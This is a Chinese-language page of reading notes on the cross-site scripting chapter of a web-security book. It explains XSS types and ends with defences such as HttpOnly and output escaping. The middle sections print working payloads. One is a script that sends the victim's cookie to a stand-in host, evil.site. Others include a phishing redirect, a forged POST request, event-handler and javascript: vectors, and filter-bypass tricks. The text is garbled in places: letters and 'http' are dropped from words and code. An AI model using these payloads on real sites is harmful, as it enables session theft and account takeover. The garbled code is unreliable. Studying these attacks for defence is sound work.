卡卷网
当前位置:卡卷网 / 每日看点 / 正文

xss到底是怎么攻击的?

作者:卡卷网发布时间:2025-01-07 17:00浏览数量:110次评论数量:0次

零、摘要

本文为《白帽子We讲安全(第2版)》——跨站脚本攻击章节的阅读总结及摘录,详述了XSS跨站脚本攻击的定义及其相关的攻击与防御方案。

一、XSS攻击简介

    跨站脚本攻击的英文全称是Cross-SiteScripting,为了与S有所区别,因此缩写为“XSS”由于同源策略的存在,攻击者或者恶意的JaScript代码没有办法直接获取用户在其它的信息,<>但是如果攻击者有办法把恶意的JaScript代码注入目标的页面中执行,他就可以直接访问页面上的信息,或者发送请求与服务端交互,达到跨域访问的目的,这便是XSS攻击。XSS攻击本质上是一种注入类型的攻击
      在正常情况下,We应用只会执行应用内预定义的JaScript代码来实现应用自身的功能;如果应用对外部输入参数处理不当,攻击者可将恶意JaScript代码注入当前We页面,一旦受害者访问这些页面,攻击者注入的恶意代码就将开始执行。最开始,这种攻击是让目标站点加载另一个恶意站点的脚本,因此称为“跨站脚本”攻击,但是后来这个定义的范围逐渐扩展,凡是可以往目标站点注入脚本的攻击行为都可以称为跨站脚本攻击。
    <>当外部恶意代码被注入正常应用的页面后,浏览器无法区分它是应用自身的代码还是外部注入的代码,这些恶意代码拥有与当前页面正常JaScript脚本一样的权限,例如读/写Cookie、读/写页面内容、发送请求,因此XSS攻击能实现非常强大的攻击作,如窃取会话密钥凭证信息、读取网页上的敏感数据、以受害者身份执行恶意作等。

二、XSS攻击基础类型介绍

2.1与服务端应用的处理逻辑相关联的XSS攻击

2.1.1反射型XSS攻击

    反射型XSS攻击是最常见的一种XSS攻击类型。反射型XSS攻击指的是:<>服务端应用在收到客户端的请求后,未对请求中的参数做合法性校验或安全过滤,直接将参数用于构造HTML页面并返回给浏览器显示。如果参数中包含恶意脚本,就会以HTML代码的形式被返回给浏览器执行。因此,这一类攻击被称为反射型XSS攻击(ReflecedXSS)。举例如下
      在做查询时,用户需要提交查询,而这个又显示在查询结果页面中,如果服务端应用未对做相应的安全校验和过滤,则可能存在XSS漏洞。
    最常见的反射型XSS攻击方式是:攻击者将恶意代码包含在L参数中,但是攻击者需要诱导受害者“点击”这个恶意L,攻击才能成功。<>反射型XSS攻击也叫做“非持久型XSS(Non-PersistentXSS)攻击”,因为用于攻击的Payload没有持续存储在服务端应用中,每次实施攻击时都需要让受害者访问带Payload的L。

2.1.2存储型XSS攻击

    在存储型XSS攻击中,服务端应用将攻击者提交的恶意代码存储在服务端,受害者每次访问一个“干净”的L时,服务端就在响应页面中嵌入之前存储的恶意代码,这些恶意代码将在受害者客户端执行。由于不需要受害者的请求中夹带恶意代码,因此这种XSS攻击更加稳定,危害性也更大。存储型XSS攻击举例如下
      假设一个博客存在存储型XSS漏洞;攻击者撰写一篇包含恶意JaScript代码的博客文章并发表至博客;待包含恶意JaScript代码的文章发表之后,所有访问了该博客文章的用户,其浏览器都会执行这段恶意的JaScript代码,攻击者便顺利实施了存储型XSS攻击。
    存储型XSS攻击通常也叫做“持久型XSS(PersistentXSS)攻击”,因为一旦恶意代码被植入,在服务端清除恶意代码或修复相关功能之前,其攻击效果都是持续存在的。

2.2与前端处理逻辑相关联的XSS攻击

2.2.1基于DOM的XSS攻击

    正常应用中的JaScript代码可以接受外部的输入数据并直接在客户端渲染执行,如果处理不当,它就有可能将外部数据当作JaScript代码来执行,因而产生XSS漏洞。基于DOM的XSS攻击定义:<>客户端的JaScript脚本在修改和构造当前页面的DOM节点时触发恶意代码执行而非“服务端直接返回恶意代码给客户端执行”,这种攻击方式叫做基于DOM的XSS攻击,下面举例说明

<divid="L"></div> <script> document.getElementyId('L').innerHTML=decodeI(location.href);//location.href用于返回当前显示的文档的L </script> //构造的当前页面的L如下: ://localhost:8000/domxss.html?<imgsrc=0onerror="alert("XSS")"> //因此,受害者访问该L后,由于载入图像失败,因此触发onerror事件,执行L中指定的JaScript弹窗代码(弹窗中显示“XSS”)。

    上述案例与反射型XSS有本质区别
      再次强调!反射型XSS能成功是因为:服务端对客户端输入的数据处理存在逻辑漏洞;基于DOM的XSS攻击能成功是因为:前端JaScript代码存在漏洞而非服务端程序的漏洞。如上述案例中,document.getElementyId('L').innerHTML=decodeI(location.href);代码将本文档的L嵌入到HTML页面中,却并没有考虑L本身的安全性,这便是一个前端JaScript代码的漏洞,因而给基于DOM的XSS攻击提供了机会。

2.3利用工程学的XSS攻击

2.3.1Self-XSS攻击

    Self-XSS严格来说不算是We应用漏洞,因为攻击者没有办法直接将恶意代码注入页面,而是利用工程学欺骗用户,让用户自己去复制恶意代码并粘贴到浏览器中,因此被称为Self-XSS攻击。

三、XSS攻击进阶

3.1XSSPayload简介

    我们将攻击者植入的恶意代码称为XSSPayload,本质上,它就是一段JaScript代码,且由于XSSPayload和应用自身的JaScript代码在同一个执行环境中,所以正常应用能做的事情都能通过XSSPayload实现。最常见的XSSPayload是通过读取浏览器的Cookie对象从而发起“Cookie”攻击。
      We应用通常使用Cookie作为用户的身份凭证;如果一个用户的Cookie被攻击者获取,意味着攻击者获取了该用户的身份,<>即攻击者无需使用账号和密码,直接通过Cookie就可以登陆用户的账户;
    在之前的实例中,payload是直接写在L中的,为了实现更为复杂的攻击逻辑,可以将payload放在一个JaScript文件中,然后通过<script>标签载入,这样就能避免在L的参数中写入大量的JaScript代码,示例如下

//构造的L '://localhost:8000/echo.php?name=<scriptsrc="://evil.site/evil.js"></script>' //evil.js文件 varimg=newImage();//使用new关键字实例化一个Image对象并使用“img”名称指代该实例。 img.src='://evil.site/log?cookie='+encodeIComponent(document.cookie); /* 目标:获取“受害者在当前前端页面中的cookie信息” 1.受害者访问攻击者构造的L; 2.受害者浏览器接收到服务端发回的HTML源码,由于受害者前端页面JaScript代码存在漏洞(如:将L作为HTML中内容返回),因此攻击者构造的L被嵌入受害者前端HTML页面中,又由于攻击者构造的L中存在JaScript代码,因此受害者浏览器执行该恶意代码; 3.L中的<script>标签指定使用的JaScript代码来自://evil.site/evil.js; 4.://evil.site/evil.js文件中,JaScript代码在受害者前端页面中构造了一个Image实例,同时将获取该图像数据的源指定为恶意站点evil.site; 5.在受害者的前端页面试图向攻击者指定的恶意站点索要图像数据时,恶意JaScript代码要求受害者必须携带受害者当前前端页面的cookie信息; 6.受害者前端执行该恶意JaScript代码后,恶意站点成功获取受害者在当前前端页面中的cookie信息; 7.攻击者获取Cookie后,便可以受害者的身份访问目标应用; */

3.2强大的XSSPayload使用

3.2.1构造GET和POST请求

    通过JaScript发送GET请求
      最简单的办法是创建Image对象,将其src属性指定为目标L,这样浏览器获取图像时就在当前页面发送了GET请求。
    通过JaScript发送POST请求
      使用JaScript创建一个表单对象,填充表单中的字段,然后提交表单即可,示例如下

//下面的JaScript代码作用:通过POST请求方式删除id=123的博客文章 varform=document.createElement('form'); form.method='POST'; form.action='://log.example/del'; document.ody.appendChild(form); /* Node.appendChild()方法将一个节点附加到指定父节点的子节点列表的末尾处。如果将入的节点已经存在于当前文档的文档树中,那么appendChild()只会将它从原先的位置移动到新的位置(不需要事先移除要移动的节点)。 */ varli=document.createElement("input");//<li>列表项元素 li.name='id';//id参数用于指定博客文章的id li.value='123'; form.appendChile(li); form.sumit();

3.2.2XSS钓鱼

    在一个域名为可信域的L中嵌入跳转至恶意的JaScript代码。假设://example为可信域,evil.site为恶意,可以构造L为://example/echo.php?name=<script>window.location='://evil.site/';</script>

3.2.3XSS攻击平台

    eEF平台:XSS攻击平台

四、XSS蠕虫

(<>待补充)

五、XSS攻击技巧

5.1基本的变形

    部分We可能做了一定的安全过滤工作,但在很多场景中的安全过滤不够完,对XSSPayload进行简单的变形就可能绕过防御机制。常见的变形方式
      更改字母的大小写
        HTML对标签的大小写不敏感,因此<script>或<ScRiPT>都是正确的语法,可用于绕过“仅仅简单过滤掉<script>标签”这类规则。
      填充空白字符(如空格、制表符、换行),可用于绕过“仅仅简单过滤掉<script>标签”这类规则。有的过滤函数只是将<script>等9字符串删除掉,因此我们可以构造类似<sc<script>ript>...</scr<script>ipt>这样的恶意代码来绕过该过滤机制。

5.2事件处理程序

    很多HTML节点都可以绑定事件处理程序,构造不同的HTML标签并尝试使用不同的事件处理程序,可以绕过一些过滤不严格的安全防御机制。下属攻击能用的前提是后端PHP中没有对字符如“src”、“onfunction”等的过滤机制。

<imgsrc=0onerror="alert(document.cookie);">//加载图片失败时触发onerror事件 <ojectonerror=alert(document.domain)> <inputonfocus=alert(document.domain)> <videosrc=0onerror=alert(document.domain)> <svgonload=alert(document.domain)>

5.3JaScript伪协议

5.3.1JaScript伪协议定义

    伪协议不同于因特网上所实存在的协议,如://,s://,ftp://,而是为关联应用程序而使用的,如:tencent://(关联QQ),data:(用ase64编码来在浏览器端输出二进制文件),还有就是jascript:。我们可以在浏览器栏里输入"jascript:alert('JS!');",点击跳转后会发现,实际上浏览器是把jascript:后面的代码当JaScript来执行,并将结果值返回给当前页面。

5.3.2JaScript伪协议使用

    浏览器可以接受内联的JaScript代码作为L,因此在“需要指定L”的标签属性中,可以尝试构造一个JaScript伪协议的L来执行JaScript代码,举例如下:

/* <a>标签定义超链接,用于从一个页面链接到另一张页面。最重要的属性是href属性,它指示链接的目的地。当用户点击<a>标签内的内容时,浏览器会尝试检索并显示href属性指定的L所表示的文档,或者执行JaScript表达式、方法和函数的列表。如果href属性不存在,<a>标签将不会被视为超链接。 */ <ahref=jascript:alert(1)>Clickme</a> <iframesrc=jascript:alert(2)></iframe>//iframe嵌入目标L页面

    一些安全功能可能会过滤掉JaScript伪协议,因此可以尝试在中空白字符绕过检测,举例如下

<ahref="ja#13script&#9:alert(document.domain)">Clickme</a>

    还有一种开发人员常犯的错误:在检验L的合法性时只校验host是否为合法域名,而没有校验协议类型,在这种场景中,也可以绕过校验实现XSS攻击,举例如下:

jascript://example/%0d%0aalert(1) //注意:"%0d","%0a"分别是回车符、换行符的编码 //因此,“//example/”被当作JaScript代码的注释,所以整个代码都是合法且可以正常执行的(可以自己在浏览器栏中输入尝试)。

5.4编码绕过

    一些不太完的防御方案,是通过过滤不安全的函数名,或者检测可以的字符串来做攻击检测的。在JaScript中可以通过动态构造字符串或者使用八进制编码,来绕过静态特征过滤。

5.5绕过长度

    最好的办法是把XSSPayload写到别处,再通过简短的代码加载这段XSSPayload。

5.6使用<ase>标签

    <ase>标签的作用是定义页面上的所有使用“相对路径”标签的host,举例如下

<asehref="://gogle"/> <imgsrc="/init//en_All/images/logolw.png"/> //这个<ase>标签将指定其后的标签默认从"://gogle"取host域名 //如果攻击者在页面中了<ase>标签并指定域名为恶意站点,就可以在远程上伪造数据,当前页面中所有使用“相对路径”的标签。

5.7window.name的妙用

    如果在当前页面中将较长的Payload写在window.name属性中,然后跳转到下一个页面,将这个Payload读取出来执行,就可以实现Payload的跨域传递。

六、JaScript框架

    JaScript开发框架可以快速简洁地完成前端开发,但如果开发者使用不当,也可能产生XSS漏洞。一般来说,JaScript框架产生的XSS漏洞都是DOM类型的。

七、XSS攻击的防御

7.1HttpOnly

    HttpOnly作用:让该cookie只能用于/S传输,使得客户端JaScript脚本无法读取cookie,这在一定程度上减少了XSS漏洞带来的危害。PHP在配置文件中开启会话Cookie的HttpOnly属性:session.cookie_only=On虽然使用HttpOnly能在一定程度上防止会话,但在XSS攻击中,恶意脚本同样可以在不知道用户Cookie的情况下完成窃取用户信息或模拟用户发送请求,因此防御XSS攻击不能仅HttpOnly属性,仍需要更加成熟的解决XSS漏洞的方案。

7.2输入过滤

7.3输出转义

    既然参数在输入时做全局过滤和转义存在各种问题,那么就应该在输出变量时根据不同场景有针对性地编码或转义。

7.3.1HTML转义

    最常见的变量输出场景是该变量用于构造HTML页面,这里有两种情况:一种是变量作为HTML标签的属性值;另一种是变量作为标签的内容。

<inputname="name"value="$value">//变量作为属性值 /* 当变量作为属性值时,双引号必须转义,否则变量里含有双引号会将属性提前闭合。另外,单引号也要转义,因为属性值用单引号包围也是合法的。 */ <p>$value</p>//变量作为标签内容 /* 当变量作为标签内容时,必须让变量以文本形式显示,而不能引入HTML标签。 因此,通过对输入的“>”、“<”字符转义,这样就不会产生新标签了。 */

    因为HTML转义是将字符转换成“&xx”的形式,如双引号转义成“&quot;”。<>如果变量的原始内容就包含了“&quot;”这六个字符,那么输出到HTML页面上时,这六个字符将被反转义并显示成双引号,内容发生了变化,从而产生漏洞。为了避免上述产生的问题,因此“&”字符也需要转义处理。

八、关于XSSFilter

    不久的将来,这项技术很可能会消失。

九、XSS攻击练习

    请见文章XSS-Las闯关
END

免责声明:本文由卡卷网编辑并发布,但不代表本站的观点和立场,只提供分享给大家。

卡卷网

卡卷网 主页 联系他吧

请记住:卡卷网 Www.Kajuan.Net

欢迎 发表评论:

请填写验证码